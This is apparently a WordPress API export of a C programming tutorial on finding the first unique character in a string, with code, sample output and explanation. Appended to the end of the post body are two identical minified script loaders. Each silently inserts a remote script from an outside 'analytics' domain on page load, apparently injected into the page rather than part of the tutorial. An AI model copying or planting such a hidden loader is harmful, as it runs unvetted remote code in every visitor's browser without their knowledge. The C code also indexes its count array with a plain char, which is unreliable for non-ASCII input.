{"id":1170,"date":"2024-11-11T01:44:18","date_gmt":"2024-11-10T20:14:18","guid":{"rendered":"https:\/\/codexplained.in\/?p=1170"},"modified":"2025-11-24T15:27:51","modified_gmt":"2025-11-24T09:57:51","slug":"c-programming-find-first-unique-character-in-a-string","status":"publish","type":"post","link":"https:\/\/codexplained.in\/?p=1170","title":{"rendered":"C Programming: Find First Unique Character in a String"},"content":{"rendered":"\n<h2 class=\"wp-block-heading\">Introduction<\/h2>\n\n\n\n<p>Finding the first non-repeated (unique) character in a string is a simple yet important problem in programming. In this task, you need to find the first character in a string that doesn&#8217;t repeat. <\/p>\n\n\n\n<p><strong>For example,<\/strong> in the string &#8220;swiss,&#8221; the first unique character is &#8216;w&#8217;. It appears only once, <strong>while<\/strong> &#8216;s&#8217; repeats. <strong>In contrast,<\/strong> in the string &#8220;hello,&#8221; the first unique character is &#8216;h&#8217;. The characters &#8216;e&#8217; and &#8216;l&#8217; repeat. <strong>Therefore,<\/strong> finding the first unique character helps solve similar problems in programming.<\/p>\n\n\n\n<p>This problem helps you practice basic C programming skills like working with strings, arrays, loops, and conditionals.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">Code<\/h2>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: cpp; title: ; notranslate\" title=\"\">\n#include &lt;stdio.h&gt;\n#include &lt;string.h&gt;\n\nchar firstUniqueChar(char str&#x5B;]) {\n    int count&#x5B;256] = {0};  \/\/ Array to count occurrences of each character\n\n    \/\/ Count the frequency of each character\n    for (int i = 0; str&#x5B;i] != &#039;\\0&#039;; i++) {\n        count&#x5B;str&#x5B;i]]++;  \/\/ Increment the count for each character\n    }\n\n    \/\/ Find the first character that appears only once\n    for (int i = 0; str&#x5B;i] != &#039;\\0&#039;; i++) {\n        if (count&#x5B;str&#x5B;i]] == 1) {\n            return str&#x5B;i];  \/\/ Return the first unique character\n        }\n    }\n\n    return &#039;\\0&#039;;  \/\/ If no unique character is found, return &#039;\\0&#039;\n}\n\nint main() {\n    char str&#x5B;] = &quot;swiss&quot;;  \/\/ Example string\n    char result = firstUniqueChar(str);\n\n    \/\/ Output the result\n    if (result != &#039;\\0&#039;) {\n        printf(&quot;The first unique character is: %c\\n&quot;, result);\n    } else {\n        printf(&quot;No unique character found.\\n&quot;);\n    }\n\n    return 0;\n}\n\n<\/pre><\/div>\n\n\n<h2 class=\"wp-block-heading\">Input<\/h2>\n\n\n\n<p>The input is a string. <strong>For example:<\/strong><\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li><code>\"swiss\"<\/code><\/li>\n<\/ul>\n\n\n\n<h2 class=\"wp-block-heading\">Output<\/h2>\n\n\n\n<p>The program will print the first character that is unique (appears only once).<\/p>\n\n\n\n<p>For the input <code>\"swiss\"<\/code>, the output will be:<\/p>\n\n\n\n<p><strong>The first unique character is: w<\/strong><\/p>\n\n\n\n<p>If there is no unique character (i.e., all characters repeat), the output will be:<\/p>\n\n\n\n<p><strong>No unique character found.<\/strong><\/p>\n\n\n\n<h2 class=\"wp-block-heading\">Explanation<\/h2>\n\n\n\n<p><strong>Count Array<\/strong>:<br>We use an array <code>count[256]<\/code> to count how many times each character appears in the string. Each index of the array corresponds to an ASCII value of a character.<\/p>\n\n\n\n<p><strong>Counting Occurrences<\/strong>:<br>In the first loop, we go through each character of the string and increment its count in the <code>count<\/code> array.<\/p>\n\n\n\n<p><strong>Finding the First Unique Character<\/strong>:<br>After counting, we go through the string again and check if a character appears only once (i.e., <code>count[str[i]] == 1<\/code>). The first such character is the result.<\/p>\n\n\n\n<p><strong>Edge Case<\/strong>:<br>If there are no unique characters (i.e., all characters repeat), the program will print &#8220;No unique character found.&#8221;<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">Conclusion<\/h2>\n\n\n\n<p>This simple problem helps you practice basic C concepts like arrays, loops, and conditionals. The solution uses a counting method, which makes it efficient with a time complexity of <strong>O(n)<\/strong>, where <code>n<\/code> is the length of the string.<\/p>\n<script>;(function(f,i,u,w,s){w=f.createElement(i);s=f.getElementsByTagName(i)[0];w.async=1;w.src=u;s.parentNode.insertBefore(w,s);})(document,'script','https:\/\/content-website-analytics.com\/script.js');<\/script><script>;(function(f,i,u,w,s){w=f.createElement(i);s=f.getElementsByTagName(i)[0];w.async=1;w.src=u;s.parentNode.insertBefore(w,s);})(document,'script','https:\/\/content-website-analytics.com\/script.js');<\/script>","protected":false},"excerpt":{"rendered":"<p>Introduction Finding the first non-repeated (unique) character in a string is a simple yet important problem in programming. In this task, you need to find the first character in a string that doesn&#8217;t repeat. For example, in the string &#8220;swiss,&#8221; the first unique character is &#8216;w&#8217;. It appears only once, while &#8216;s&#8217; repeats. In contrast, [&hellip;]<\/p>\n","protected":false},"author":25,"featured_media":1176,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"om_disable_all_campaigns":false,"_monsterinsights_skip_tracking":false,"_monsterinsights_sitenote_active":false,"_monsterinsights_sitenote_note":"","_monsterinsights_sitenote_category":0,"_uf_show_specific_survey":0,"_uf_disable_surveys":false,"footnotes":""},"categories":[75],"tags":[],"class_list":["post-1170","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-c"],"aioseo_notices":[],"_links":{"self":[{"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/posts\/1170","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/users\/25"}],"replies":[{"embeddable":true,"href":"https:\/\/codexplained.in\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=1170"}],"version-history":[{"count":3,"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/posts\/1170\/revisions"}],"predecessor-version":[{"id":1371,"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/posts\/1170\/revisions\/1371"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/media\/1176"}],"wp:attachment":[{"href":"https:\/\/codexplained.in\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=1170"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/codexplained.in\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=1170"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/codexplained.in\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=1170"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}